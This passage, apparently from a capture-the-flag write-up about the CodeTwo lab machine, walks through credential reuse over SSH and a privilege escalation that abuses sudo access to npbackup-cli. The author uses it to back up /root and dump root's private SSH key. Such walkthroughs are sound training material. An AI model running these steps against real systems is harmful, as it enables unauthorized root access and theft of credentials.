There are two hashes that look like MD5s, matching the source analysis above. I’ll drop them into CrackStation and the one associated with marco cracks:

image-20250819212334445

su / SSH

These creds work for the marco user on CodeTwo using su:

app@codetwo:~/app$ su - marco
Password: 
marco@codetwo:~$ 

They also work over SSH:

oxdf@hacky$ sshpass -p sweetangelbabylove ssh marco@10.10.11.82
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
marco@codetwo:~$

Either way, I’ll grab user.txt:

marco@codetwo:~$ cat user.txt
885eb3ca************************

Shell as root

Enumeration

marco’s home directory has a backups directory and a npbackup.conf file:

marco@codetwo:~$ ls -l
total 12
drwx------ 7 root root  4096 Apr  6 03:50 backups
-rw-rw-r-- 1 root root  2893 Jun 18 11:16 npbackup.conf
-rw-r----- 1 root marco   33 Oct 26  2024 user.txt

marco can’t access backups.

marco can also run npbackup-cli as any user with sudo:

marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

There’s a npbackup-cli directory in /opt but it’s owned by root and marco can’t access it:

marco@codetwo:~$ ls -l /opt/
total 4
drwxr-x--- 2 root backups 4096 Apr  6 00:07 npbackup-cli

NPBackup

Background

NPBackup is a backup product built on top of restic that aims to make it more usable. It’s built on Python, and comes with four programs:

  • npbackup-cli: CLI version of the backup program (see –help)
  • npbackup-gui: GUI version of the backup program, useful to create YAML config files and for end users, can also act as cli
  • npbackup-viewer: View and restore restic repositories without configuration
  • upgrade_server: Separate server to provide npbackup clients with newer binaries

The npbackup-cli help menu presents lots of options:

marco@codetwo:~$ npbackup-cli -h
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [--repo-group REPO_GROUP] [-b] [-f] [-r RESTORE]
                    [-s] [--ls [LS]] [--find FIND] [--forget FORGET] [--policy] [--housekeeping] [--quick-check]
                    [--full-check] [--check CHECK] [--prune [PRUNE]] [--prune-max] [--unlock] [--repair-index]
                    [--repair-packs REPAIR_PACKS] [--repair-snapshots] [--repair REPAIR] [--recover] [--list LIST]
                    [--dump DUMP] [--stats [STATS]] [--raw RAW] [--init] [--has-recent-snapshot]
                    [--restore-includes RESTORE_INCLUDES] [--snapshot-id SNAPSHOT_ID] [--json] [--stdin]
                    [--stdin-filename STDIN_FILENAME] [-v] [-V] [--dry-run] [--no-cache] [--license]
                    [--auto-upgrade] [--log-file LOG_FILE] [--show-config]
                    [--external-backend-binary EXTERNAL_BACKEND_BINARY] [--group-operation GROUP_OPERATION]
                    [--create-key CREATE_KEY] [--create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK]
                    [--create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK] [--check-config-file]

Portable Network Backup Client This program is distributed under the GNU General Public License and comes with
ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions;
Please type --license for more info.

optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to current dir/npbackup.conf)
  --repo-name REPO_NAME
                        Name of the repository to work with. Defaults to 'default'. This can also be a comma
                        separated list of repo names. Can accept special name '__all__' to work with all
                        repositories.
  --repo-group REPO_GROUP
                        Comme separated list of groups to work with. Can accept special name '__all__' to work with
                        all repositories.
  -b, --backup          Run a backup
  -f, --force           Force running a backup regardless of existing backups age
  -r RESTORE, --restore RESTORE
                        Restore to path given by --restore, add --snapshot-id to specify a snapshot other than
                        latest
  -s, --snapshots       Show current snapshots
  --ls [LS]             Show content given snapshot. When no snapshot id is given, latest is used
  --find FIND           Find full path of given file / directory
  --forget FORGET       Forget given snapshot (accepts comma separated list of snapshots)
  --policy              Apply retention policy to snapshots (forget snapshots)
  --housekeeping        Run --check quick, --policy and --prune in one go
  --quick-check         Deprecated in favor of --'check quick'. Quick check repository
  --full-check          Deprecated in favor of '--check full'. Full check repository (read all data)
  --check CHECK         Checks the repository. Valid arguments are 'quick' (metadata check) and 'full' (metadata +
                        data check)
  --prune [PRUNE]       Prune data in repository, also accepts max parameter in order prune reclaiming maximum space
  --prune-max           Deprecated in favor of --prune max
  --unlock              Unlock repository
  --repair-index        Deprecated in favor of '--repair index'.Repair repo index
  --repair-packs REPAIR_PACKS
                        Deprecated in favor of '--repair packs'. Repair repo packs ids given by --repair-packs
  --repair-snapshots    Deprecated in favor of '--repair snapshots'.Repair repo snapshots
  --repair REPAIR       Repair the repository. Valid arguments are 'index', 'snapshots', or 'packs'
  --recover             Recover lost repo snapshots
  --list LIST           Show [blobs|packs|index|snapshots|keys|locks] objects
  --dump DUMP           Dump a specific file to stdout (full path given by --ls), use with --dump [file], add
                        --snapshot-id to specify a snapshot other than latest
  --stats [STATS]       Get repository statistics. If snapshot id is given, only snapshot statistics will be shown.
                        You may also pass "--mode raw-data" or "--mode debug" (with double quotes) to get full repo
                        statistics
  --raw RAW             Run raw command against backend. Use with --raw "my raw backend command"
  --init                Manually initialize a repo (is done automatically on first backup)
  --has-recent-snapshot
                        Check if a recent snapshot exists
  --restore-includes RESTORE_INCLUDES
                        Restore only paths within include path, comma separated list accepted
  --snapshot-id SNAPSHOT_ID
                        Choose which snapshot to use. Defaults to latest
  --json                Run in JSON API mode. Nothing else than JSON will be printed to stdout
  --stdin               Backup using data from stdin input
  --stdin-filename STDIN_FILENAME
                        Alternate filename for stdin, defaults to 'stdin.data'
  -v, --verbose         Show verbose output
  -V, --version         Show program version
  --dry-run             Run operations in test mode, no actual modifications
  --no-cache            Run operations without cache
  --license             Show license
  --auto-upgrade        Auto upgrade NPBackup
  --log-file LOG_FILE   Optional path for logfile
  --show-config         Show full inherited configuration for current repo. Optionally you can set
                        NPBACKUP_MANAGER_PASSWORD env variable for more details.
  --external-backend-binary EXTERNAL_BACKEND_BINARY
                        Full path to alternative external backend binary
  --group-operation GROUP_OPERATION
                        Deprecated command to launch operations on multiple repositories. Not needed anymore.
                        Replaced by --repo-name x,y or --repo-group x,y
  --create-key CREATE_KEY
                        Create a new encryption key, requires a file path
  --create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK
                        Create a scheduled backup task, specify an argument interval via interval=minutes, or
                        hour=hour,minute=minute for a daily task
  --create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK
                        Create a scheduled housekeeping task, specify hour=hour,minute=minute for a daily task
  --check-config-file   Check if config file is valid

npbackup.conf

The npbackup.conf is in YAML format and defines a backup:

conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password:
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: [, htb-code]
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: [, htb-code]
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}

There are values that are stored encrypted, such as the repo_password:

__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__

What is getting backed up is /home/app/app/.

Run npbackup-cli

If I run npbackup-cli it runs into a bunch of permissions errors:

marco@codetwo:~$ npbackup-cli 
Cannot create logfile. Trying to obtain temporary log file.
Message: [Errno 13] Permission denied: '/var/log/npbackup-cli.log'
Trying temporary log file in /tmp/ofunctions.logger_utils.log
[Errno 13] Permission denied: '/var/log/npbackup-cli.log'
Using [/tmp/ofunctions.logger_utils.log]
2025-08-20 11:24:12,118 :: WARNING :: Failed to use log file "/var/log/npbackup-cli.log", [Errno 13] Permission denied: '/var/log/npbackup-cli.log'
Using [/tmp/ofunctions.logger_utils.log].
2025-08-20 11:24:12,119 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as marco
2025-08-20 11:24:12,119 :: CRITICAL :: Cannot run without configuration file.
2025-08-20 11:24:12,127 :: INFO :: ExecTime = 0:00:00.013665, finished, state is: critical.

This must be why marco can run it as root. As root, it fails again, this time asking for a config file:

marco@codetwo:~$ sudo npbackup-cli 
2025-08-20 11:24:42,434 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-20 11:24:42,435 :: CRITICAL :: Cannot run without configuration file.
2025-08-20 11:24:42,443 :: INFO :: ExecTime = 0:00:00.012172, finished, state is: critical.

I’ll give it the config file in marco’s home directory. Now it warns that no action was taken:

marco@codetwo:~$ sudo npbackup-cli -c npbackup.conf 
2025-08-20 11:25:03,793 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-20 11:25:03,839 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-08-20 11:25:03,853 :: WARNING :: No operation has been requested. Try --help
2025-08-20 11:25:03,861 :: INFO :: ExecTime = 0:00:00.071179, finished, state is: warnings.

Create Backup

As marco can run npbackup-cli as root via sudo, and the -c flag allows specifying any config file, I can create a config that let’s me read anything as root. I’ll copy the existing config file and edit it so that it now includes /root/:

marco@codetwo:~$ cp npbackup.conf /dev/shm/0xdf.conf
marco@codetwo:~$ vim /dev/shm/0xdf.conf
marco@codetwo:~$ cat /dev/shm/0xdf.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      - /root/
      source_type: folder_list
      exclude_files_larger_than: 0.0
...[snip]...

Now I’ll run a backup with that config adding -b (to create a backup):

marco@codetwo:~$ sudo npbackup-cli -c /dev/shm/0xdf.conf -b
2025-08-20 11:49:28,209 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-20 11:49:28,242 :: INFO :: Loaded config 73199EB2 in /dev/shm/0xdf.conf
2025-08-20 11:49:28,255 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-08-20 11:49:30,875 :: INFO :: Snapshots listed successfully
2025-08-20 11:49:30,876 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2025-08-20 11:49:30,876 :: INFO :: Runner took 2.621463 seconds for has_recent_snapshot
2025-08-20 11:49:30,876 :: INFO :: Running backup of ['/home/app/app/', '/root/'] to repo default
2025-08-20 11:49:32,102 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-08-20 11:49:32,102 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-08-20 11:49:32,103 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-08-20 11:49:32,103 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-08-20 11:49:32,103 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-08-20 11:49:32,103 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-08-20 11:49:32,103 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-08-20 11:49:32,103 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-08-20 11:49:32,104 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          27 new,     0 changed,     0 unmodified
Dirs:           17 new,     0 changed,     0 unmodified
Added to the repository: 214.650 KiB (54.416 KiB stored)

processed 27 files, 246.570 KiB in 0:00
snapshot 7b216ac3 saved
2025-08-20 11:49:33,387 :: INFO :: Backend finished with success
2025-08-20 11:49:33,390 :: INFO :: Processed 246.6 KiB of data
2025-08-20 11:49:33,391 :: ERROR :: Backup is smaller than configured minmium backup size
2025-08-20 11:49:33,391 :: ERROR :: Operation finished with failure
2025-08-20 11:49:33,392 :: INFO :: Runner took 5.138397 seconds for backup
2025-08-20 11:49:33,392 :: INFO :: Operation finished
2025-08-20 11:49:33,399 :: INFO :: ExecTime = 0:00:05.192183, finished, state is: errors.

There are some errors and warnings, but it seems to work. I’ll replace -b with -ls:

marco@codetwo:~$ sudo npbackup-cli -c /dev/shm/0xdf.conf --ls
2025-08-20 11:52:32,371 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-20 11:52:32,413 :: INFO :: Loaded config 73199EB2 in /dev/shm/0xdf.conf
2025-08-20 11:52:32,429 :: INFO :: Showing content of snapshot latest in repo default
2025-08-20 11:52:35,428 :: INFO :: Successfully listed snapshot latest content:
snapshot 7b216ac3 of [/home/app/app /root] at 2025-08-20 11:49:32.119205732 +0000 UTC by root@codetwo filtered by []:
/home
/home/app
/home/app/app
/home/app/app/__pycache__
/home/app/app/__pycache__/app.cpython-38.pyc
/home/app/app/app.py
/home/app/app/instance
/home/app/app/instance/users.db
/home/app/app/requirements.txt
/home/app/app/static
/home/app/app/static/app.zip
/home/app/app/static/css
/home/app/app/static/css/styles.css
/home/app/app/static/js
/home/app/app/static/js/script.js
/home/app/app/templates
/home/app/app/templates/base.html
/home/app/app/templates/dashboard.html
/home/app/app/templates/index.html
/home/app/app/templates/login.html
/home/app/app/templates/register.html
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2025-08-20 11:52:35,429 :: INFO :: Runner took 3.000574 seconds for ls
2025-08-20 11:52:35,429 :: INFO :: Operation finished
2025-08-20 11:52:35,437 :: INFO :: ExecTime = 0:00:03.069966, finished, state is: success.

The files from /root/ are there, including .ssh/id_rsa and root.txt.

Read Files

Since the backup now contains these files and I can interact with the backup as root, I can extract them. There’s a --dump command as well that let’s me read files. For example, the the id_rsa file in .ssh:

marco@codetwo:~$ sudo npbackup-cli -c /dev/shm/0xdf.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[snip]...
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

SSH

Now I can get a shell over SSH as root:

oxdf@hacky$ ssh -i ~/keys/codetwo-root root@10.10.11.82
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
root@codetwo:~# 

And read root.txt:

root@codetwo:~# cat root.txt
5f8e8ac4************************